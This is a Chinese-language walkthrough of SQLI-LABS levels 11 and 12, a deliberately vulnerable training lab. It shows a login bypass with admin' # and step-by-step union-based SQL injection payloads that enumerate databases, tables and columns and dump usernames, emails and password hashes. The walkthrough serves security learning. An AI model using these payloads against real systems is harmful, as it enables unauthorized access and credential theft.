Less-11(POST-Error Based-Single Quotes-String)
打开 Less-11
的页面,可以看到一个登录框,需要输入用户名和密码,由本关名字可知SQL语句是单引号闭合。
万能密码
那么先尝试一下万能密码登录,用户名: admin' #
、密码随便填一个:
从上图可以看出登陆成功,并且会回显账号和密码。
其他方法
判断注入
先随便尝试一个账号密码, uname=name & passwd=pass
显示登录失败,接着修改post包,加入 引号
看是否会报错.
可以发现加入引号之后报错了,并且判断出SQL语句的闭合方式是 单引号
。到此可以发现SQL语句的报错会显示在前端页面。
判断当前数据表列数
注入语句: uname=name' order by 1# & passwd=pass
当尝试到 uname=name' order by 3# & passwd=pass
时,出现了报错,由此可以判断该表只有两列。
判断回显位
注入语句: uname=name' union select 1,2 # & passwd=pass
判断数用户名和据库名
注入语句: uname=name' union select user(),database() # & passwd=pass
通过上述注入可以得知,当前数据库名为
security
,当前用户为 root
,接着找出这个数据库中的所有数据表。
确定当前数据库内表名
注入语句: uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # & passwd=pass
通过上述注入可以得知当前数据库中存在
emails
、 referers
、 uagents
、 users
四张数据表。
确定users表中列名
注入语句: uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() # & passwd=pass
通过上述注入可以得知
users
表中存在三列,分别为 id
、 username
、 password
。
确定users表中的用户名和密码
注入语句: uname=name' union select group_concat(username),group_concat(password) from users # & passwd=pass
到此,就得到了当前表中所有的用户名和密码。
跨数据库注入
通过上面的步骤可以看到当前用户是 root
用户,那么可以尝试爆其他数据库中的信息。
确定当前服务器上有哪些数据库
注入语句: uname=name' union select 1,group_concat(schema_name) from information_schema.schemata # & passwd=pass
通过上述注入可以得知当前服务器中的数据库由:
information_schema
、 bWAPP
、 challenges
、 dvwa
、 mysql
、 performance_schema
、 security
、 test
确定bWAPP数据库中的数据表
注入语句: uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema='bWAPP' # & passwd=pass
上图中可以看出在
bWAPP
库中的表分别是 blog
, heroes
, movies
, users
, visitors
。
确定users数据库中的列名
注入语句: uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_schema='bWAPP' and table_name='users' # & passwd=pass
可以看到 users
表中的列名为: id
, login
, password
, email
, secret
, activation_code
, activated
, reset_code
, admin
。
确定users表中的邮箱和密码
注入语句: uname=name' union select group_concat(email),group_concat(password) from bWAPP.users#&passwd=pass
这样就成功拿到了邮箱和密码,通过查md5可以得到密码为 bug
。
Less-12(POST-Error Based-Double Quotes-String-with twist)
通过注入 uname=name" & passwd=pass
发现SQL闭合符号为 ")
,其余操作均与第11关相同。
确定回显位,其余操作不再赘述:
Original: https://www.cnblogs.com/Timesi/p/16670561.html
Author: 顾北清
Title: SQLI-LABS(Less-11、12)
原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/578201/
转载文章受原作者版权保护。转载请注明原作者出处!